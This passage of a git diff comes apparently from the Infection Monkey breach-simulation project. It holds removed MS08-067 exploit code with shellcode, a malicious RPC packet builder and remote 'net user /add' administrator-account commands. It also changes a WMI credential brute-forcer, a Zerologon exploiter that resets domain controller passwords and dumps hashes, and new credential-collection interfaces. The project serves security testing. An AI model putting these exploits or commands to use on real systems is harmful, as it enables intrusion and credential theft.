"\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\xeb\xcc" -PAYLOAD_2000 += "\x00\x00" - -# Payload for Windows 2003[SP2] target -PAYLOAD_2003 = "\x41\x00\x5c\x00" -PAYLOAD_2003 += "\x2e\x00\x2e\x00\x5c\x00\x2e\x00" -PAYLOAD_2003 += "\x2e\x00\x5c\x00\x0a\x32\xbb\x77" -PAYLOAD_2003 += "\x8b\xc4\x66\x05\x60\x04\x8b\x00" -PAYLOAD_2003 += "\x50\xff\xd6\xff\xe0\x42\x84\xae" -PAYLOAD_2003 += "\xbb\x77\xff\xff\xff\xff\x01\x00" -PAYLOAD_2003 += "\x01\x00\x01\x00\x01\x00\x43\x43" -PAYLOAD_2003 += "\x43\x43\x37\x48\xbb\x77\xf5\xff" -PAYLOAD_2003 += "\xff\xff\xd1\x29\xbc\x77\xf4\x75" -PAYLOAD_2003 += "\xbd\x77\x44\x44\x44\x44\x9e\xf5" -PAYLOAD_2003 += "\xbb\x77\x54\x13\xbf\x77\x37\xc6" -PAYLOAD_2003 += "\xba\x77\xf9\x75\xbd\x77\x00\x00" - - -class WindowsVersion(IntEnum): - Windows2000 = 1 - Windows2003_SP2 = 2 - WindowsXP = 3 - - -class SRVSVC_Exploit(object): - TELNET_PORT = 4444 - - def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445): - self._port = port - self._target = target_addr - self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003 - self.os_version = os_version - - def get_telnet_port(self): - """get_telnet_port() - - The port on which the Telnet service will listen. - """ - - return SRVSVC_Exploit.TELNET_PORT - - def start(self): - """start() -> socket - - Exploit the target machine and return a socket connected to it's - listening Telnet service. - """ - - target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target - - logger.debug("Initiating exploit connection (%s)", target_rpc_name) - self._trans = transport.DCERPCTransportFactory(target_rpc_name) - self._trans.connect() - - logger.debug("Connected to %s", target_rpc_name) - - self._dce = self._trans.DCERPC_class(self._trans) - self._dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0"))) - - dce_packet = self._build_dce_packet() - self._dce.call(0x1F, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation - - logger.debug("Exploit sent to %s successfully...", self._target) - logger.debug("Target machine should be listening over port %d now", self.get_telnet_port()) - - sock = socket.socket() - sock.connect((self._target, self.get_telnet_port())) - return sock - - def _build_dce_packet(self): - if self.os_version == WindowsVersion.WindowsXP: - return XP_PACKET - # Constructing Malicious Packet - dce_packet = "\x01\x00\x00\x00" - dce_packet += "\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00" - dce_packet += SHELLCODE - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x00\x00\x00\x00" - dce_packet += "\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00" - dce_packet += self._payload - dce_packet += "\x00\x00\x00\x00" - dce_packet += "\x02\x00\x00\x00\x02\x00\x00\x00" - dce_packet += "\x00\x00\x00\x00\x02\x00\x00\x00" - dce_packet += "\x5c\x00\x00\x00\x01\x00\x00\x00" - dce_packet += "\x01\x00\x00\x00" - - return dce_packet - - -class Ms08_067_Exploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] - _EXPLOITED_SERVICE = "Microsoft Server Service" - _windows_versions = { - "Windows Server 2003 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, - "Windows Server 2003 R2 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, - "Windows 5.1": WindowsVersion.WindowsXP, - } - - def __init__(self, host): - super(Ms08_067_Exploiter, self).__init__(host) - - def is_os_supported(self): - if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list( - self._windows_versions.keys() - ): - return True - - if not self.host.os.get("type") or ( - self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version") - ): - is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) - if is_smb_open: - smb_finger = SMBFinger() - if smb_finger.get_host_fingerprint(self.host): - return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get( - "version" - ) in list(self._windows_versions.keys()) - return False - - def _exploit_host(self): - src_path = get_target_monkey(self.host) - - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - - os_version = self._windows_versions.get( - self.host.os.get("version"), WindowsVersion.Windows2003_SP2 - ) - - exploited = False - random_password = get_random_password() - for _ in range(self._config.ms08_067_exploit_attempts): - exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) - - try: - sock = exploit.start() - - sock.send( - "cmd /c (net user {} {} /add) &&" - " (net localgroup administrators {} /add)\r\n".format( - self._config.user_to_add, - random_password, - self._config.user_to_add, - ).encode() - ) - time.sleep(2) - sock.recv(1000) - - logger.debug("Exploited into %r using MS08-067", self.host) - exploited = True - break - except Exception as exc: - logger.debug("Error exploiting victim %r: (%s)", self.host, exc) - continue - - if not exploited: - logger.debug("Exploiter MS08-067 is giving up...") - return False - - # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - self._config.user_to_add, - random_password, - ) - - if not remote_full_path: - # try other passwords for administrator - for password in self._config.exploit_password_list: - remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - "Administrator", - password, - ) - if remote_full_path: - break - - if not remote_full_path: - return True - - # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): - cmdline = DROPPER_CMDLINE_WINDOWS % { - "dropper_path": remote_full_path - } + build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - SRVSVC_Exploit.TELNET_PORT, - self._config.dropper_target_path_win_32, - ) - else: - cmdline = MONKEY_CMDLINE_WINDOWS % { - "monkey_path": remote_full_path - } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT - ) - - try: - sock.send(("start %s\r\n" % (cmdline,)).encode()) - sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode()) - except Exception as exc: - logger.debug( - "Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc - ) - return True - finally: - try: - sock.close() - except socket.error: - pass - - logger.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, - self.host, - cmdline, - ) - - return True diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 5af6606c4..753dc511b 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -5,47 +5,41 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException -from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils.brute_force import ( + generate_brute_force_combinations, + get_credential_string, +) from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) class WmiExploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)" - VULNERABLE_PORT = 135 - - def __init__(self, host): - super(WmiExploiter, self).__init__(host) + @WmiTools.impacket_user @WmiTools.dcom_wrap - def _exploit_host(self): - src_path = get_target_monkey(self.host) + def _exploit_host(self) -> ExploiterResultData: - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False + creds = generate_brute_force_combinations(self.options["credentials"]) + intp_creds = interruptible_iter( + creds, + self.interrupt, + "WMI exploiter has been interrupted", + logging.INFO, + ) - creds = self._config.get_exploit_user_password_or_hash_product() + for user, password, lm_hash, ntlm_hash in intp_creds: - for user, password, lm_hash, ntlm_hash in creds: - password_hashed = self._config.hash_sensitive_data(password) - lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) - ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) - creds_for_logging = ( - "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " - "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) - ) - logger.debug( - ("Attempting to connect %r using WMI with " % self.host) + creds_for_logging - ) + creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) + logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}") wmi_connection = WmiTools.WmiConnection() @@ -53,75 +47,62 @@ class WmiExploiter(HostExploiter): wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - logger.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging - ) + logger.debug(f"Failed connecting to {self.host} using WMI") continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - logger.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging - ) + logger.debug(f"Failed connecting to {self.host} using WMI") continue + except socket.error: - logger.debug( - ("Network error in WMI connection to %r with " % self.host) + creds_for_logging - ) - return False + logger.debug(f"Network error in WMI connection to {self.host}") + return self.exploit_result + except Exception as exc: logger.debug( - ("Unknown WMI connection error to %r with " % self.host) - + creds_for_logging - + (" (%s):\n%s" % (exc, traceback.format_exc())) + f"Unknown WMI connection error to {self.host}: " + f"{exc} {traceback.format_exc()}" ) - return False + return self.exploit_result self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) + self.exploit_result.exploitation_success = True - # query process list and check if monkey already running on victim - process_list = WmiTools.list_object( - wmi_connection, - "Win32_Process", - fields=("Caption",), - where="Name='%s'" % ntpath.split(src_path)[-1], - ) - if process_list: - wmi_connection.close() + downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"]) - logger.debug("Skipping %r - already infected", self.host) - return False + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + + target_path = get_agent_dest_path(self.host, self.options) - # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( self.host, - src_path, - self._config.dropper_target_path_win_32, + downloaded_agent, + target_path, user, password, lm_hash, ntlm_hash, - self._config.smb_download_timeout, + self.options["smb_download_timeout"], ) if not remote_full_path: wmi_connection.close() - return False + return self.exploit_result # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): + elif remote_full_path.lower() != self.options["dropper_target_path_win_64"]: cmdline = DROPPER_CMDLINE_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, - get_monkey_depth() - 1, - WmiExploiter.VULNERABLE_PORT, - self._config.dropper_target_path_win_32, + self.current_depth - 1, + self.options["dropper_target_path_win_64"], ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT - ) + } + build_monkey_commandline(self.host, self.current_depth - 1) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( @@ -138,9 +119,9 @@ class WmiExploiter(HostExploiter): ) self.add_vuln_port(port="unknown") - success = True + self.exploit_result.propagation_success = True else: - logger.debug( + error_message = ( "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " "cmdline=%r)", remote_full_path, @@ -149,11 +130,12 @@ class WmiExploiter(HostExploiter): result.ReturnValue, cmdline, ) - success = False + logger.debug(error_message) + self.exploit_result.error_message = error_message result.RemRelease() wmi_connection.close() self.add_executed_cmd(cmdline) - return success + return self.exploit_result - return False + return self.exploit_result diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index a43639614..9be006d8e 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -15,29 +15,30 @@ import impacket from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5.dtypes import NULL -from common.utils.exploit_enum import ExploitType +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from infection_monkey.credential_collectors import LMHash, NTHash, Username from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.tools.wmi_tools import WmiTools from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec +from infection_monkey.i_puppet import ExploiterResultData +from infection_monkey.i_puppet.credential_collection import Credentials +from infection_monkey.telemetry.credentials_telem import CredentialsTelem from infection_monkey.utils.capture_output import StdoutCapture +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) class ZerologonExploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "Netlogon" - EXPLOIT_TYPE = ExploitType.VULNERABILITY - RUNS_AGENT_ON_SUCCESS = False MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256. ERROR_CODE_ACCESS_DENIED = 0xC0000022 - def __init__(self, host: object): - super().__init__(host) - self.vulnerable_port = None - self.exploit_info["credentials"] = {} + def __init__(self): + super().__init__() self.exploit_info["password_restored"] = None self._extracted_creds = {} self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon") @@ -45,13 +46,18 @@ class ZerologonExploiter(HostExploiter): def __del__(self): self._secrets_dir.cleanup() - def _exploit_host(self) -> bool: + @WmiTools.impacket_user + def _exploit_host(self) -> ExploiterResultData: self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) can_exploit, rpc_con = is_exploitable(self) if can_exploit: logger.info("Target vulnerable, changing account password to empty string.") + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + # Start exploiting attempts. logger.debug("Attempting exploit.") _exploited = self._send_exploit_rpc_login_requests(rpc_con) @@ -63,32 +69,37 @@ class ZerologonExploiter(HostExploiter): "Exploit not attempted. Target is most likely patched, or an error was " "encountered." ) - return False + return self.exploit_result # Restore DC's original password. if _exploited: + self.exploit_result.propagation_success = False + self.exploit_result.exploitation_success = _exploited if self.restore_password(): self.exploit_info["password_restored"] = True - self.store_extracted_creds_for_exploitation() logger.info("System exploited and password restored successfully.") else: self.exploit_info["password_restored"] = False logger.info("System exploited but couldn't restore password!") + + self.store_extracted_creds_for_exploitation() else: logger.info("System was not exploited.") - return _exploited + return self.exploit_result @staticmethod def connect_to_dc(dc_ip) -> object: binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_transport = transport.DCERPCTransportFactory(binding) + rpc_transport.set_connect_timeout(LONG_REQUEST_TIMEOUT) + rpc_con = rpc_transport.get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: - for _ in range(0, self.MAX_ATTEMPTS): + for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt): exploit_attempt_result = self.try_exploit_attempt(rpc_con) is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result) @@ -265,40 +276,19 @@ class ZerologonExploiter(HostExploiter): def store_extracted_creds_for_exploitation(self) -> None: for user in self._extracted_creds.keys(): - self.add_extracted_creds_to_exploit_info( - user, - self._extracted_creds[user]["lm_hash"], - self._extracted_creds[user]["nt_hash"], - ) - self.add_extracted_creds_to_monkey_config( + self.send_extracted_creds_as_credential_telemetry( user, self._extracted_creds[user]["lm_hash"], self._extracted_creds[user]["nt_hash"], ) - def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: - self.exploit_info["credentials"].update( - { - user: { - "username": user, - "password": "", - "lm_hash": lmhash, - "ntlm_hash": nthash, - } - } + def send_extracted_creds_as_credential_telemetry( + self, user: str, lmhash: str, nthash: str + ) -> None: + self.telemetry_messenger.send_telemetry( + CredentialsTelem([Credentials([Username(user)], [LMHash(lmhash), NTHash(nthash)])]) ) - # so other exploiters can use these creds - def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None: - if user not in self._config.exploit_user_list: - self._config.exploit_user_list.append(user) - - if lmhash not in self._config.exploit_lm_hash_list: - self._config.exploit_lm_hash_list.append(lmhash) - - if nthash not in self._config.exploit_ntlm_hash_list: - self._config.exploit_ntlm_hash_list.append(nthash) - def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str: if not self.save_HKLM_keys_locally(username, user_pwd_hashes): return @@ -328,12 +318,7 @@ class ZerologonExploiter(HostExploiter): self.remove_locally_saved_HKLM_keys() def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: - logger.info( - f"Starting remote shell on victim with credentials:\n" - f"user: {username}\n" - f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " - f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}" - ) + logger.info(f"Starting remote shell on victim with user: {username}") wmiexec = Wmiexec( ip=self.dc_ip, @@ -388,7 +373,7 @@ class ZerologonExploiter(HostExploiter): logger.info(f"Exception occurred while removing file {path} from system: {str(e)}") def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: - for _ in range(0, self.MAX_ATTEMPTS): + for _ in interruptible_iter(range(0, self.MAX_ATTEMPTS), self.interrupt): restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index c208a61f6..7fb0c5288 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -56,6 +56,7 @@ from impacket.examples.secretsdump import ( ) from impacket.smbconnection import SMBConnection +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.utils.capture_output import StdoutCapture logger = logging.getLogger(__name__) @@ -96,7 +97,9 @@ class DumpSecrets: self.__lmhash, self.__nthash = options.hashes.split(":") def connect(self): - self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) + self.__smb_connection = SMBConnection( + self.__remote_name, self.__remote_host, timeout=LONG_REQUEST_TIMEOUT + ) self.__smb_connection.login( self.__username, self.__password, diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index d899c73e8..4b36ed64b 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -70,9 +70,7 @@ class RemoteShell(cmd.Cmd): self.__noOutput = False self.__secrets_dir = secrets_dir - # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: - self.__transferClient.setTimeout(100000) self.do_cd("\\") else: self.__noOutput = True diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index 4d86fb412..5ba40f7c8 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -6,6 +6,7 @@ from impacket.dcerpc.v5 import nrpc, rpcrt from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from common.utils.exceptions import DomainControllerNameFetchError +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -43,7 +44,9 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v return False, None # Try authenticating. - for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS): + for _ in interruptible_iter( + range(0, zerologon_exploiter_object.MAX_ATTEMPTS), zerologon_exploiter_object.interrupt + ): try: rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con) if rpc_con_auth_result is not None: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index ad5f2a9d3..e9816bde0 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -51,6 +51,7 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL from impacket.smbconnection import SMBConnection +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell logger = logging.getLogger(__name__) @@ -74,7 +75,7 @@ class Wmiexec: self.shell = None def connect(self): - self.smbConnection = SMBConnection(self.__ip, self.__ip) + self.smbConnection = SMBConnection(self.__ip, self.__ip, timeout=LONG_REQUEST_TIMEOUT) self.smbConnection.login( user=self.__username, password=self.__password, diff --git a/monkey/infection_monkey/i_control_channel.py b/monkey/infection_monkey/i_control_channel.py new file mode 100644 index 000000000..33539417c --- /dev/null +++ b/monkey/infection_monkey/i_control_channel.py @@ -0,0 +1,31 @@ +import abc + + +class IControlChannel(metaclass=abc.ABCMeta): + @abc.abstractmethod + def should_agent_stop(self) -> bool: + """ + Checks if the agent should stop + return: True if the agent should stop, False otherwise + rtype: bool + """ + + @abc.abstractmethod + def get_config(self) -> dict: + """ + :return: A dictionary containing Agent Configuration + :rtype: dict + """ + pass + + @abc.abstractmethod + def get_credentials_for_propagation(self) -> dict: + """ + :return: A dictionary containing propagation credentials data + :rtype: dict + """ + pass + + +class IslandCommunicationError(Exception): + """Raise when unable to connect to control client""" diff --git a/monkey/infection_monkey/i_master.py b/monkey/infection_monkey/i_master.py new file mode 100644 index 000000000..5269cafee --- /dev/null +++ b/monkey/infection_monkey/i_master.py @@ -0,0 +1,23 @@ +import abc + + +class IMaster(metaclass=abc.ABCMeta): + @abc.abstractmethod + def start(self) -> None: + """ + Run the control logic that will instruct the Puppet to perform various actions like scanning + or exploiting a specific host. + """ + + @abc.abstractmethod + def terminate(self, block: bool = False) -> None: + """ + Stop the master and interrupt any actions that are currently being executed. + :param bool block: Whether or not to block and wait for the master to terminate. + """ + + @abc.abstractmethod + def cleanup(self) -> None: + """ + Revert any changes that the master has directly or indirectly caused to the system. + """ diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py new file mode 100644 index 000000000..767826297 --- /dev/null +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -0,0 +1,17 @@ +from .plugin_type import PluginType +from .i_puppet import ( + IPuppet, + ExploiterResultData, + PingScanData, + PortScanData, + FingerprintData, + PortStatus, + PostBreachData, + UnknownPluginError, +) +from .i_fingerprinter import IFingerprinter +from .credential_collection import ( + Credentials, + ICredentialCollector, + ICredentialComponent, +) diff --git a/monkey/infection_monkey/i_puppet/credential_collection/__init__.py b/monkey/infection_monkey/i_puppet/credential_collection/__init__.py new file mode 100644 index 000000000..a97d8373f --- /dev/null +++ b/monkey/infection_monkey/i_puppet/credential_collection/__init__.py @@ -0,0 +1,3 @@ +from .i_credential_collector import ICredentialCollector +from .credentials import Credentials +from .i_credential_component import ICredentialComponent diff --git a/monkey/infection_monkey/i_puppet/credential_collection/credentials.py b/monkey/infection_monkey/i_puppet/credential_collection/credentials.py new file mode 100644 index 000000000..d5591f6d7 --- /dev/null +++ b/monkey/infection_monkey/i_puppet/credential_collection/credentials.py @@ -0,0 +1,10 @@ +from dataclasses import dataclass +from typing import Tuple + +from .i_credential_component import ICredentialComponent + + +@dataclass(frozen=True) +class Credentials: + identities: Tuple[ICredentialComponent] + secrets: Tuple[ICredentialComponent] diff --git a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py new file mode 100644 index 000000000..0cbd2578b --- /dev/null +++ b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_collector.py @@ -0,0 +1,10 @@ +from abc import ABC, abstractmethod +from typing import Mapping, Optional, Sequence + +from .credentials import Credentials + + +class ICredentialCollector(ABC): + @abstractmethod + def collect_credentials(self, options: Optional[Mapping]) -> Sequence[Credentials]: + pass diff --git a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py new file mode 100644 index 000000000..c4471ebfb --- /dev/null +++ b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py @@ -0,0 +1,10 @@ +from abc import ABC, abstractmethod + +from common.common_consts.credential_component_type import CredentialComponentType + + +class ICredentialComponent(ABC): + @property + @abstractmethod + def credential_type(self) -> CredentialComponentType: + pass diff --git a/monkey/infection_monkey/i_puppet/i_fingerprinter.py b/monkey/infection_monkey/i_puppet/i_fingerprinter.py new file mode 100644 index 000000000..e6f177021 --- /dev/null +++ b/monkey/infection_monkey/i_puppet/i_fingerprinter.py @@ -0,0 +1,27 @@ +from abc import abstractmethod +from typing import Dict + +from . import FingerprintData, PingScanData, PortScanData + + +class IFingerprinter: + @abstractmethod + def get_host_fingerprint( + self, + host: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, + ) -> FingerprintData: + """ + Attempts to gather detailed information about a host and its services + :param str host: The domain name or IP address of a host + :param PingScanData ping_scan_data: Data retrieved from the target host via ICMP + :param Dict[int, PortScanData] port_scan_data: Data retrieved from the target host via a TCP + port scan + :param Dict options: A dictionary containing options that modify the behavior of the + fingerprinter + :return: Detailed information about the target host + :rtype: FingerprintData + """ + pass diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py new file mode 100644 index 000000000..c4f46d792 --- /dev/null +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -0,0 +1,152 @@ +import abc +import threading +from collections import namedtuple +from dataclasses import dataclass +from enum import Enum +from typing import Dict, Iterable, List, Mapping, Sequence + +from infection_monkey.model import VictimHost + +from . import PluginType +from .credential_collection import Credentials + + +class PortStatus(Enum): + OPEN = 1 + CLOSED = 2 + + +class UnknownPluginError(Exception): + pass + + +@dataclass +class ExploiterResultData: + exploitation_success: bool = False + propagation_success: bool = False + interrupted: bool = False + os: str = "" + info: Mapping = None + attempts: Iterable = None + error_message: str = "" + + +PingScanData = namedtuple("PingScanData", ["response_received", "os"]) +PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) +FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) +PostBreachData = namedtuple("PostBreachData", ["display_name", "command", "result"]) + + +class IPuppet(metaclass=abc.ABCMeta): + @abc.abstractmethod + def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: + """ + Loads a plugin into the puppet + :param str plugin_name: The plugin class name + :param object plugin: The plugin object to load + :param PluginType plugin_type: The type of plugin being loaded + """ + + @abc.abstractmethod + def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: + """ + Runs a credential collector + :param str name: The name of the credential collector to run + :param Dict options: A dictionary containing options that modify the behavior of the + Credential collector + :return: A sequence of Credentials that have been collected from the system + :rtype: Sequence[Credentials] + """ + + @abc.abstractmethod + def run_pba(self, name: str, options: Dict) -> Iterable[PostBreachData]: + """ + Runs a post-breach action (PBA) + :param str name: The name of the post-breach action to run + :param Dict options: A dictionary containing options that modify the behavior of the PBA + :rtype: Iterable[PostBreachData] + """ + + @abc.abstractmethod + def ping(self, host: str, timeout: float) -> PingScanData: + """ + Sends a ping (ICMP packet) to a remote host + :param str host: The domain name or IP address of a host + :param float timeout: The maximum amount of time (in seconds) to wait for a response + :return: The data collected by attempting to ping the target host + :rtype: PingScanData + """ + + @abc.abstractmethod + def scan_tcp_ports( + self, host: str, ports: List[int], timeout: float = 3 + ) -> Dict[int, PortScanData]: + """ + Scans a list of TCP ports on a remote host + :param str host: The domain name or IP address of a host + :param int ports: List of TCP port numbers to scan + :param float timeout: The maximum amount of time (in seconds) to wait for a response + :return: The data collected by scanning the provided host:ports combination + :rtype: Dict[int, PortScanData] + """ + + @abc.abstractmethod + def fingerprint( + self, + name: str, + host: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, + ) -> FingerprintData: + """ + Runs a specific fingerprinter to attempt to gather detailed information about a 